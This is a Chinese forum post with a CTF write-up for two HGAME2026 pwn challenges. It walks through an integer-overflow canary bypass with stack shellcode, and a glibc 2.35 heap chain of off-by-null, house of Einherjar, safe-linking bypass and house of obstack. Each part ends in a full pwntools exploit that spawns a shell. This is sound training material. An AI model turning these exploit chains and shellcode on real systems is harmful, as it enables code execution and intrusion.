找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2340

积分

0

好友

314

主题
发表于 2 小时前 | 查看: 3| 回复: 0

week1-adrift

看保护

查看保护,发现栈有可执行权限,猜测跟 ret2shellcode 有关:

checksec 输出显示栈可执行

逆源码

main

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _QWORD *v3; // rdx
  __int16 v4; // ax
  __int16 v6[2]; // [rsp+0h] [rbp-400h] BYREF
  __int16 i; // [rsp+4h] [rbp-3FCh]
  _QWORD v8[125]; // [rsp+6h] [rbp-3FAh] BYREF
  __int64 v9; // [rsp+3F0h] [rbp-10h]

  init_canary(argc, argv, envp);
  v9 = canary;
  putchar(10);
  while ( 1 )
  {
    printf("choose> ");
    __isoc99_scanf("%hd", v6);
    switch ( v6[0] )
    {
      case 0:
        printf("way> ");
        read(0, v8, 0x410uLL);
        printf("distance> ");
        for ( i = 0; i <= 200 && dis[i]; ++i )
          ;
        v3 = (_QWORD *)((char *)&str + 1304 * i);
        *v3 = v8[0];
        v3[124] = v8[124];
        qmemcpy(
          (void *)((unsigned __int64)(v3 + 1) & 0xFFFFFFFFFFFFFFF8LL),
          (const void *)((char *)v8 - ((char *)v3 - ((unsigned __int64)(v3 + 1) & 0xFFFFFFFFFFFFFFF8LL))),
          8LL * ((((_DWORD)v3 - (((_DWORD)v3 + 8) & 0xFFFFFFF8) + 1000) & 0xFFFFFFF8) >> 3));
        memset(v8, 0, sizeof(v8));
        __isoc99_scanf("%lu", &dis[i]);
        break;
      case 1:
        delete();
        break;
      case 2:
        show();
        break;
      case 3:
        printf("index> ");
        __isoc99_scanf("%hd", v6);
        v4 = v6[0];
        if ( v6[0] <= 0 )
          v4 = -v6[0];
        v6[0] = v4;
        if ( v4 > 200 )
        {
          puts("invalid index");
        }
        else
        {
          printf("a new distance> ");
          __isoc99_scanf("%lu", &dis[v6[0]]);
        }
        break;
      case 4:
        if ( v9 != canary )
        {
          printf("it's a poor decision :(");
          exit(0);
        }
        return 0;
      default:
        continue;
    }
  }
}

main 函数设置了一个 canary,checksec 才看不出来。从 canary = (__int64)&v1 可以看出,这个 canary 是全局变量,存放栈上的地址。

init_canary(argc, argv, envp);
v9 = canary;

__int64 *init_canary()
{
  __int64 *result; // rax
  __int64 v1; // [rsp+8h] [rbp-8h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  v1 = (__int64)&v1;
  result = &v1;
  canary = (__int64)&v1;
  return result;
}

接着在 while 循环里用了个 switch,对应四种功能,首先看 case 0,因为 v8[128] 的空间是 0x3e8,跟 rbp 的距离是 0x3FA,而 read(0, v8, 0x410uLL); 则会导致栈溢出,溢出长度是 0x28,可以覆盖到返回地址 +0x6 的位置。注意 memset(v8, 0, sizeof(v8)); 会清空 v8 的内容。

case 0 代码截图

delete

int delete()
{
  __int16 v1; // [rsp+Eh] [rbp-2h]

  printf("index> ");
  __isoc99_scanf("%hd");
  dis[v1 % 201] = 0LL;
  return printf("%hd", (unsigned int)(v1 % 201));
}

这里对应 case 1,把 dis 数组对应索引位置清 0。

show

int show()
{
  __int64 v0; // rax
  __int16 v2; // [rsp+Eh] [rbp-2h] BYREF

  printf("index> ");
  __isoc99_scanf("%hd", &v2);
  LOWORD(v0) = v2;
  if ( v2 <= 0 )
    LOWORD(v0) = -v2;
  v2 = v0;
  LODWORD(v0) = (unsigned __int16)v0;
  if ( (__int16)v0 <= 199 )
  {
    v0 = dis[v2];
    if ( v0 )
      LODWORD(v0) = printf(": %lu\n", dis[v2]);
  }
  return v0;
}

这个函数用来打印 dis 对应索引的值,要求索引值是正数。但这里存在个问题 LOWORD(v0) = -v2; 首先 %hd 输入的是两个字节,v2 是用补码表示的,-v2 则是将 v2 做取反运算再 +1。

比如说 +5 二进制是 101

  • 0000 0000 0000 0101(十六进制 0x0005

0x0005

  • 按位取反:1111 1111 1111 10100xFFFA
  • 再 +1:1111 1111 1111 10110xFFFB

所以:

  • -5 的 16 位补码 = 1111 1111 1111 10110xFFFB

-5 的比特 0xFFFB

  • 按位取反:0000 0000 0000 01000x0004
  • 再 +1:0000 0000 0000 01010x0005

得到:

  • 0x0005 = +5

这里有个特殊情况:最小负数无法变成正数。

比如 16 位有符号数的最小值是 -32768,它的相反数 32768 超出范围,会溢出,取反 +1 后反而等于自身。

可以看到 canary 在 dis 的低地址方向,差了 0x40000,再除以 8,刚好等于 32768,所以我们可以输入 index 为 -32768 达到数组越界打印 canary,从而泄露栈地址。

bss 段内存布局

case3

case 3 代码截图

case3 同样存在整数溢出的问题,输入 index 为 -32768,就可以修改 canary 值。

case4

case 4 代码截图

检查 canary 值。

思路

  1. 选择 case2 打印 canary 的值,泄露栈地址。
  2. 选择 case3 修改 canary 的值,绕过 case4 的检查。
  3. 选择 case0 的栈溢出写入 shellcode,并将返回地址覆盖为 shellcode 的地址(通过调试计算偏移)。
  4. 选择 case4 触发 shellcode 执行。

需要注意写入的 shellcode 只能写到返回地址之前,返回地址需要存放 shellcode 的地址,所以 shellcode 最多只能写入 0x1A(0x3FA-0x3E8+0x8)。不过这里为了方便对齐,我直接从 rbp-0x10(注意这里要修改 canary 的值等于 shellcode 的前八个字节,绕过检查)开始写,只写入 0x18 长度的 shellcode。

偏移

把断点打在设置 canary 之后,查看 canary 的值,存着栈地址:

canary 值

再看 rbp 的值:

rbp 值

计算到 canary 也就是 rbp-0x10 的偏移是 0x408,后面我们泄露出栈地址,加上这个偏移就是 shellcode 的地址了。

偏移计算

EXP

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./vuln')
#io = remote("cloud-middle.hgame.vidar.club",32265)
io.sendlineafter(b"choose> ",b"2")
io.sendlineafter(b"index> ",b"-32768")
io.recvuntil(b": ")
aa = int(io.recvuntil(b"\n",drop=True))
log.success(hex(aa))
shellcode = asm('''
        pop r11
    mov rax, 0x68732f6e69622f
        push rax
        push rsp
        pop rdi
        xor eax, eax
        mov al, 59
        xor rdx, rdx
        syscall
''')# 因为rsp和shellcode挨得很近,两次push会破坏shellcode,所以这里我先pop一次抬高rsp的地址
# rsi在调试的时候发现是0,就不用去赋值了
log.info(len(shellcode))
addr = aa + 0x408
log.success(hex(addr))
payload = b'a'*(0x3e8+2)+shellcode+p64(addr)
io.sendlineafter(b"choose> ",b"3")
io.sendlineafter(b"index> ",b"-32768")
n = int.from_bytes(shellcode[:8], byteorder="little", signed=False)
log.success(hex(n))
io.sendlineafter(b"a new distance> ", str(n).encode())
io.sendlineafter(b"choose> ",b"0")
# gdb.attach(io,'b *$rebase(0x14EE)')
# pause()
io.sendafter(b"way> ",payload)
io.sendlineafter(b"distance> ",b'233')
io.sendlineafter(b"choose> ",b"4")
io.interactive()

week2-diary keeper

patchelf --set-interpreter /home/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/ld-linux-x86-64.so.2 ./vuln
patchelf --replace-needed libc.so.6 /home/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/libc.so.6 ./vuln

safe-linking

在 2.32 版本,ptmalloc 引入了 PROTECT_PTR,即保护指针的概念,其指针是被异或加密的,如果对系统的堆地址一无所知,将无法正确解读泄露的指针的真实值。

tcache_put 当然也引入了这一机制,其 next 指针 (fd) 将会与 entry 首块进行异或加密。

tcache_put 代码

#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

结合两个代码,其实就是 e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx]

触发这个 PROTECT_PTR 宏,有两种情况:

第一种是当前 free 的堆块是第一个进入 tcache bin 的(此前 tcache bin 中没有堆块),这种情况原本 next 的值就是 0。第二种情况则是原本的 next 值已经有数据了。

如果是第一种情况的话,对于 safe-Linking 机制而言,可能并没有起到预期的作用,因为将当前堆地址右移 12 位和 0 异或,其实值没有改变,如果我们能泄露出这个运算后的结果,再将其左移 12 位就可以反推出来堆地址,如果有了堆地址之后,那我们依然可以篡改 next 指针,达到任意地址申请的效果。

举个栗子:

当前 tcachebins 是空的:

空的 tcachebins

我们 free 一个 size 为 0x100 的 chunk,可以看到这个 chunk 加密后的 next 指针是 0x000000055924f45f。还是看 e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx] 这个代码。

首先 &e->next 就是 next 指针的地址,也就是 0x55924f45fbd0,再就是 tcache -> entries[tc_idx],在我们 free 之前,这个 tcachebin 是空的,所以就是 0 了,也就是变成了 e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx] = (0x55924f45fbd0 >> 12) ^ 0 = 0x55924f45f。这对应第一种情况。

free 第一个 chunk 后的内存

计算验证

接着我们再 free 一个同样是 size 为 0x100 的 chunk,首先 &e->next 就是 next 指针的地址,也就是 0x55924f45fcd0,再就是 tcache -> entries[tc_idx]

在我们 free 之前,这个 tcachebin 是有一个 chunk 的,指向的是 0x55924f45fbd0,也就是变成了 e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx] = (0x55924f45fcd0 >> 12) ^ 0x55924f45fbd0 = 0x559716610f8f

free 第二个 chunk 后的内存

计算验证

恢复 next 的宏为 #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr),其实这个宏最终还是调用了 PROTECT_PTR,原理就是 A = B ^ C; C = A ^ B

所以我们要想解密 next 指针,就变成了 e->next = (&tcache -> entries[tc_idx] >> 12) ^ tcache -> entries[tc_idx]。这里的 &tcache -> entries[tc_idx] 其实就是 &e->next

以第二种情况为例子:

e->next = (&tcache -> entries[tc_idx] >> 12) ^ tcache -> entries[tc_idx] = (0x55924f45fcd0 >> 12) ^ 0x559716610f8f = 0x55924f45fbd0

所以只要我们成功泄露 &e->next 的值或者 heap 基址,就可以通过设置加密的 next 指针为 e->next = ((&e->next) >> 12 ) ^ target_addr,实现申请任意地址的 chunk。

house of Einherjar

原理:利用 off by null 修改掉 chunk 的 size 域的 P 位,绕过 unlink 检查,在堆的后向合并过程中构造出 chunk overlapping。

例子:

申请 chunk A、chunk B、chunk C、chunk D,chunk D 用来做 gap,chunk A、chunk C 都要处于 unsortedbin 范围

释放 A,进入 unsortedbin

对 B 写操作的时候存在 off by null,修改了 C 的 P 位

释放 C 的时候,堆后向合并,直接把 A、B、C 三块内存合并为了一个 chunk,并放到了 unsortedbin 里面

读写合并后的大 chunk 可以操作 chunk B 的内容

house of obstack

参考 https://tttang.com/archive/1845/

模板:

payload = flat(
    {
        0x8:1,
        0x10:0,
        0x38:address_for_rdi,
        0x28:address_for_call,
        0x18:1,
        0x20:0,
        0x40:1,
        0xd0:heap_base + 0x250,
        0xc8:libc_base + get_IO_str_jumps() - 0x300 + 0x20
    },
    filler = '\x00'
)

查看保护

保护全开。

checksec 输出

逆源码

main 函数

还是一个菜单题,共有四种功能,前三种分别对应写、删除、打印日记,最后一种对应退出程序,使用 exit(0) 退出。当执行 exit 函数时会触发 _IO_flush_all_lockp

__int64 sub_127C()
{
  write(1, "1.write a new diary.\n", 0x15uLL);
  write(1, "2.delete a diary.\n", 0x13uLL);
  write(1, "3.show a diary.\n", 0x11uLL);
  write(1, "4.exit.\n", 8uLL);
  write(1, "input your choice:", 0x12uLL);
  return sub_1229();
}

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-4h]

  write(1, "Let's start writing a diary!\n", 0x1DuLL);
  memset(&dword_4360, 0, 0x190uLL);
  while ( 1 )
  {
    v3 = sub_127C();
    if ( v3 == 4 )
    {
      write(1, "Goodbye!\n", 9uLL);
      exit(0);
    }
    if ( v3 > 4 )
    {
LABEL_12:
      write(1, "You can't do that.\n", 0x13uLL);
    }
    else
    {
      switch ( v3 )
      {
        case 3:
          sub_15EB();
          break;
        case 1:
          sub_130D();
          break;
        case 2:
          sub_1553();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}

case 1-写日记

该函数首先需要输入一个小于 0x64 的索引,且需要 unk_4040[index] 为空,unk_4040 用来存放 malloc 返回的用户地址。接着就是输入申请的内存大小 v2,最终申请的内存大小会在 v2 基础上加上 16。申请完后接着就是写入两次八字节分别是 date 和 weather,再写入 v2 个字节为 content 字段。

_DWORD *sub_130D()
{
  _DWORD *result; // rax
  int v1; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+4h] [rbp-Ch]
  int v3; // [rsp+Ch] [rbp-4h]

  write(1, "input index:", 0xCuLL);
  v1 = sub_1229();
  if ( (unsigned int)v1 >= 0x64 )
    return (_DWORD *)write(1, "Invalid index!\n", 0xFuLL);
  if ( *((_QWORD *)&unk_4040 + v1) )
    return (_DWORD *)write(1, "Note at index already exists!\n", 0x1EuLL);
  write(1, "size:", 5uLL);
  v2 = sub_1229();
  *((_QWORD *)&unk_4040 + v1) = malloc(v2 + 16);
  if ( !*((_QWORD *)&unk_4040 + v1) )
    return (_DWORD *)write(1, "Memory allocation failed!\n", 0x1AuLL);
  write(1, "date:", 5uLL);
  read(0, *((void **)&unk_4040 + v1), 8uLL);
  write(1, "weather:", 0x12uLL);
  read(0, (void *)(*((_QWORD *)&unk_4040 + v1) + 8LL), 8uLL);
  write(1, "content:", 8uLL);
  v3 = read(0, (void *)(*((_QWORD *)&unk_4040 + v1) + 16LL), v2);
  *(_BYTE *)(*((_QWORD *)&unk_4040 + v1) + v3 + 16) = 0;
  result = dword_4360;
  dword_4360[v1] = v3 + 16;
  return result;
}

需要注意 *(_BYTE *)(*((_QWORD *)&unk_4040 + v1) + v3 + 16) = 0; 这里存在 off by null,可以覆盖高地址 chunk 的 size 最低一个字节为 0x0。

case 2-删除日记

输入小于 0x63 的索引,free 掉对应索引的内存。

int sub_1553()
{
  _DWORD *v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  write(1, "input index:", 0xCuLL);
  LODWORD(v0) = sub_1229();
  v2 = (int)v0;
  if ( (unsigned int)v0 <= 0x63 )
  {
    free(*((void **)&unk_4040 + (int)v0));
    *((_QWORD *)&unk_4040 + v2) = 0LL;
    v0 = dword_4360;
    dword_4360[v2] = 0;
  }
  return (int)v0;
}

case 3-打印日记

同样根据索引分别打印 Date,Weather 和 Content 的内容。

int sub_15EB()
{
  __int64 v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  write(1, "input index:", 0xCuLL);
  LODWORD(v0) = sub_1229();
  v2 = v0;
  if ( (unsigned int)v0 <= 0x63 )
  {
    v0 = *((_QWORD *)&unk_4040 + (int)v0);
    if ( v0 )
    {
      write(1, "Date: ", 6uLL);
      write(1, *((const void **)&unk_4040 + v2), 8uLL);
      write(1, "\n", 1uLL);
      write(1, "Weather: ", 9uLL);
      write(1, (const void *)(*((_QWORD *)&unk_4040 + v2) + 8LL), 8uLL);
      write(1, "\n", 1uLL);
      write(1, "Content: ", 9uLL);
      write(1, (const void *)(*((_QWORD *)&unk_4040 + v2) + 16LL), dword_4360[v2] - 16);
      LODWORD(v0) = write(1, "\n", 1uLL);
    }
  }
  return v0;
}

思路

泄露 libc 基址和 heap 基址:首先申请四个 chunk,记 A,B,C,D,A 和 C 分别属于 large bin 的范围(B 是为了防止在 free 时 A 和 C 合并,D 则是防止 C 和 top chunk 合并),接着 free chunkA 和 chunkC,此时 unsorted bin -> chunkC -> chunkA -> unsorted bin。因此 chunkA 的 fd 指针指向 main_arena+0x60,bk 指针指向 chunkC 的首地址,只要我们重新申请回 chunkA,接着利用打印功能打印 Date 和 Weather,就可以泄露 libc 基址和 heap 基址。

house of Einherjar:首先申请 9 个 size 为 0x100 的 chunk,记为 chunk1,chunk2。。。chunk9。chunk7 在申请的时候要先写入 fake chunk,依次 free chunk1-chunk6,chunk8,此时 tcache bin 满了,再申请 chunk8 并利用 off by null 覆写 chunk9 的 size 的 P 位,接着 free chunk8,此时 tcache 已满,再 free chunk9,触发 unlink,会把 chunk7,chunk8,chunk9 合并为一个大 chunk 放入 unsortedbin 中。

tcache poisoning:此时 unsortedbin 中存在 chunk7,chunk8,chunk9 合并成的一个大 chunk,记为 big chunk,而 chunk8 位于 tcache bin 中,我们可以申请回 big chunk,覆写 chunk8 的 next 指针指向 (&e->next >> 12) ^ _IO_list_all(为了绕过 safe linking),接着申请两次 size 为 0x100 的 chunk,会从 tcache 里取,第二次就申请到了 _IO_list_all,覆盖该值为一个堆地址,这里覆盖为 chunkC+0x20 的地址。

house of obstack:接着就是 free chunkC,重新申请 chunkC 写入伪造的 IO_file 结构,按 obstack 利用链的模板。最后退出程序触发 _IO_flush_all_lockp 获取 shell。

本地调试

def add(index,size,date,weather,content):
    io.sendlineafter("input your choice:",b'1')
    io.sendlineafter("input index:",str(index).encode())
    io.sendlineafter("size:",str(size).encode())
    io.sendlineafter("date",date)
    io.sendlineafter("weather:",weather)
    io.sendlineafter("content:",content)

def dele(index):
    io.sendlineafter("input your choice:",b'2')
    io.sendlineafter("input index:",str(index).encode())

def show(index):
    io.sendlineafter("input your choice:",b'3')
    io.sendlineafter("input index:",str(index).encode())

先写一下程序交互:

add(0,0x410,b'',b'',b'') # chunkA
add(1,0x40,b'',b'',b'') # chunkB,防止A和C合并
add(2,0x420,b'',b'',b'') # chunkC
add(3,0x40,b'',b'',b'') # chunkD,防止C和top chunk合并
dele(0)
dele(2) # 此时unsorted bin为unsorted bin -> chunkC -> chunkA

申请四个 chunk 并 free chunkA 和 chunkC,此时 unsorted bin 为 unsorted bin -> chunkC -> chunkA -> unsorted bin。

unsorted bin 状态

vmmap 看一下 libc 基址和 heap 基址,算出偏移分别是 0x21ace0 和 0x720。

vmmap 输出

add(0,0x410,b'',b'',b'')
show(0) #申请回chunkA并打印地址信息
io.recvuntil(b"Date: ")
libc_base = u64(io.recv(6).ljust(8,b"\x00")) - 0x21ac0a # 泄露libc基址
log.success(hex(libc_base))
io.recvuntil(b"Weather: ")
heap_base = u64(io.recv(6).ljust(8,b"\x00")) - 0x70a # 泄露heap基址
log.success(hex(heap_base))

接着申请回 chunkA 并打印信息。

需要注意的是,再申请回 chunkA 的过程中,需要往内存里写东西,为了不破坏地址信息,这里只写入了换行符,所以 libc 和 heap 偏移分别要改成 0x21ac0a 和 0x70a。

chunkA 内存内容

add(2,0x420,b'',b'',b'') # 申请回chunkC,防止被split

这里把 chunkC 申请回来,因为后面要申请 0x100 大小的 chunk,会 split,比较麻烦。

# 申请六个chunk,分别记为chunk1,chunk2。。chunk6
for i in range(6):
    add(4+i,0xe0,b'',b'',b'')

'''
伪造fake chunk,heap_base + 0x11e0是chunk7首地址+0x20的地址
p64(heap_base + 0x11e0)*2是为了绕过
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr ("corrupted double-linked list");
'''
payload1 = p64(0) + p64(0x1e0) + p64(heap_base + 0x11e0)*2
add(10,0xe0,b'',b'',payload1) # 申请chunk7
add(11,0xe0,b'',b'',b'')# 申请chunk8
add(12,0xe0,b'',b'',b'')# 申请chunk9

这里申请了 9 次 chunk,chunk7 要设置 fake chunk 绕过 unlink 检查。

fake chunk 布局

for i in range(6):#依次free chunk1-chunk6,会放入tcache bin
    dele(4+i)
dele(11) # free chunk8,此时tcachebin满了

此时 tcachebin 满了:

tcachebin 状态

payload2 = b'a'*0xe0 + p64(0x1e0)
# 重新申请回chunk8,写prev_size,利用off by null覆写chunk9的P位
# 因为off by null是写一个字节,所以chunk的size最好是0x100这种最后一个字节为0x00的,不然会报错,所以我之前申请的都是malloc(0xe0+16)
add(11,0xe8,b'',b'',payload2)
add(13,0x40,b'',b'',payload2)# 防止big chunk和top chunk合并,方便观察,其实和top chunk合并也可以
dele(11) # free chunk8,此时tcachebin又满了
dele(12)# free chunk9,触发unlink,把chunk7,8,9合并成一个big chunk存入unsorted bin

chunk9 修改前:

chunk9 修改前

chunk9 修改后,可以看到 P 被改为 0,设置了 prev_size。

chunk9 修改后

unlink 时,这里 prev_size 的设置是为了绕过 __builtin_expect(chunksize(P)!=prev_size(next_chunk(P)),0)

unlink 检查

big chunk 放入了 unsortedbin 中,size 为 0x2e0,因为不是同一次调试,地址不一样了,凑合着看吧。

big chunk 状态

system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
IO_list_all = libc_base + libc.symbols['_IO_list_all']
io_list = (heap_base + 0x12d0) >> 12 ^ IO_list_all # 覆盖next指针用的,为了绕过safe-linking
_IO_obstack_jumps = libc_base + 0x2173c0
payload3 = b'a'*0xc8 + p64(0x101) + p64(io_list)
add(14,0x2c0,b'',b'',payload3)# 申请回big chunk,覆写chunk8的next指针
add(15,0xe0,b'',b'',b'')# 申请chunk8
add(16,0xe0,p64(heap_base+0x740),b'',b'')# 申请我们指向的IO_list_all,这里heap_base+0x740写的是chunkC+0x20的地址

看回 chunk7,根据 safe-linking 的代码 e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx]&e->next 就是 0x5612b4e3d2d0,tcache -> entries[tc_idx] 就是之前 tcachebin 长度为 6 的情况,是 0x5612b4e3d0d0,计算结果为 0x5617d5c89eed。我们之前泄露了 heap 基址,计算得到 &e->next 偏移是 0x12d0,我们只需要伪造 target_addr 为 &_IO_list_all 即可。

hex((0x5612b4e3d2d0>>12)^0x5612b4e3d0d0)
'0x5617d5c89eed'

chunk7 的 next 指针

覆写 next 指针后,申请回 chunk8,下一个就是 _IO_list_all 了。

tcachebin 链表

接着就是申请这个 _IO_list_all,然后改为 chunkC+0x20 的地址,偏移是 0x740,因为我们后面写入的 IO_file 结构是在 content 字段,prev_size,size,Date,weather 刚好是 0x20。

dele(2)# free chunkC
payload4 = flat(
        {
            0x18:1,
            0x20:0,
            0x28:1,
            0x30:0,
            0x38:p64(system),
            0x48:p64(bin_sh),
            0x50:1,
            0xd8:p64(_IO_obstack_jumps+0x20),
            0xe0:p64(heap_base + 0x740),
            },
        filler = '\x00'
    )
#申请回chunkC并伪造IO_file
add(2,0x420,b'',b'',payload4)
#退出程序触发利用链
io.sendlineafter("input your choice:",b'4')
io.interactive()

释放并申请 chunkC,伪造 IO_file,照着模板抄就行了,最后退出程序获取 shell。

获取 shell

EXP

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
io=process("./vuln")
libc = ELF("./libc.so.6")
def add(index,size,date,weather,content):
    io.sendlineafter("input your choice:",b'1')
    io.sendlineafter("input index:",str(index).encode())
    io.sendlineafter("size:",str(size).encode())
    io.sendlineafter("date",date)
    io.sendlineafter("weather:",weather)
    io.sendlineafter("content:",content)

def dele(index):
    io.sendlineafter("input your choice:",b'2')
    io.sendlineafter("input index:",str(index).encode())

def show(index):
    io.sendlineafter("input your choice:",b'3')
    io.sendlineafter("input index:",str(index).encode())

# ------------------泄露libc基址和heap基址----------------------------
add(0,0x410,b'',b'',b'') # chunkA
add(1,0x40,b'',b'',b'') # chunkB,防止A和C合并
add(2,0x420,b'',b'',b'') # chunkC
add(3,0x40,b'',b'',b'') # chunkD,防止C和top chunk合并
dele(0)
dele(2) # 此时unsorted bin为unsorted bin -> chunkC -> chunkA
gdb.attach(io,"b *$rebase(0x17D4)")
add(0,0x410,b'',b'',b'')
show(0) #申请回chunkA并打印地址信息
io.recvuntil(b"Date: ")
libc_base = u64(io.recv(6).ljust(8,b"\x00")) - 0x21ac0a # 泄露libc基址
log.success(hex(libc_base))
io.recvuntil(b"Weather: ")
heap_base = u64(io.recv(6).ljust(8,b"\x00")) - 0x70a # 泄露heap基址
log.success(hex(heap_base))
add(2,0x420,b'',b'',b'') # 申请回chunkC,防止被split
# ------------------house of Einherjar和tcache poisoning----------------------------
# 申请六个chunk,分别记为chunk1,chunk2。。chunk6
for i in range(6):
    add(4+i,0xe0,b'',b'',b'')

'''
伪造fake chunk,heap_base + 0x11e0是chunk7首地址+0x20的地址
p64(heap_base + 0x11e0)*2是为了绕过
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr ("corrupted double-linked list");
'''
payload1 = p64(0) + p64(0x1e0) + p64(heap_base + 0x11e0)*2
add(10,0xe0,b'',b'',payload1) # 申请chunk7
add(11,0xe0,b'',b'',b'')# 申请chunk8
add(12,0xe0,b'',b'',b'')# 申请chunk9

for i in range(6):#依次free chunk1-chunk6,会放入tcache bin
    dele(4+i)
dele(11) # free chunk8,此时tcachebin满了

payload2 = b'a'*0xe0 + p64(0x1e0)
# 重新申请回chunk8,写prev_size,利用off by null覆写chunk9的P位
# 因为off by null是写一个字节,所以chunk的size最好是0x100这种最后一个字节为0x00的,不然会报错,所以我之前申请的都是malloc(0xe0+16)
add(11,0xe8,b'',b'',payload2)
dele(11) # free chunk8,此时tcachebin又满了
dele(12)# free chunk9,触发unlink,把chunk7,8,9合并成一个big chunk存入unsorted bin

system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
IO_list_all = libc_base + libc.symbols['_IO_list_all']
io_list = (heap_base + 0x12d0) >> 12 ^ IO_list_all # 覆盖next指针用的,为了绕过safe-linking
_IO_obstack_jumps = libc_base + 0x2173c0
payload3 = b'a'*0xc8 + p64(0x101) + p64(io_list)
add(13,0x2c0,b'',b'',payload3)# 申请回big chunk,覆写chunk8的next指针
add(14,0xe0,b'',b'',b'')# 申请chunk8
# -------------------------house of obstack------------------------------
add(15,0xe0,p64(heap_base+0x740),b'',b'')# 申请我们指向的IO_list_all,这里heap_base+0x740写的是chunkC+0x20的地址

dele(2)# free chunkC
payload4 = flat(
        {
            0x18:1,
            0x20:0,
            0x28:1,
            0x30:0,
            0x38:p64(system),
            0x48:p64(bin_sh),
            0x50:1,
            0xd8:p64(_IO_obstack_jumps+0x20),
            0xe0:p64(heap_base + 0x740),
            },
        filler = '\x00'
    )
#申请回chunkC并伪造IO_file
add(2,0x420,b'',b'',payload4)
#退出程序触发利用链
io.sendlineafter("input your choice:",b'4')
io.interactive()

参考链接

浅析 tcache 安全机制演进过程与绕过手法
https://bbs.kanxue.com/thread-284325.htm

Safe-Linking 机制的绕过
https://zikh26.github.io/posts/501cca6.html

浅析 libc2.38 版本及以前 tcache 安全机制演进过程与绕过手法
https://zhuanlan.zhihu.com/p/12296343522

一条新的 glibc IO_FILE 利用链:_IO_obstack_jumps 利用分析
https://tttang.com/archive/1845/

HGAME2026_Writeup
https://github.com/vidar-team/HGAME2026_Writeup

本文由社区用户 G0t1T 分享,更多技术文章和讨论,欢迎访问 云栈社区 进行交流。




上一篇:拆解Python斯大林排序算法:O(n)时间复杂度的“梗”式实现
下一篇:美团年终奖系数引热议:半数员工称绩效达标却难拿满额
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-3-15 14:50 , Processed in 0.572997 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表